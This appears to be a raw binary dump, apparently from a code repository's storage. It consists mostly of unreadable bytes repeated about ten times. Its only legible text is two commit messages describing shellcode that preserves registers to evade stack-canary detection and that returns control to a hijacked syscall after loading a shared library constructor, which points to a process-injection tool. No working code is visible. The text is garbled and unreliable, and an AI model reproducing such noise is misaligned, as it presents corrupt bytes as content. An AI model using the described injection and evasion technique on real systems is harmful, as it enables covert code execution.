<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> M<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> ><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> /<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
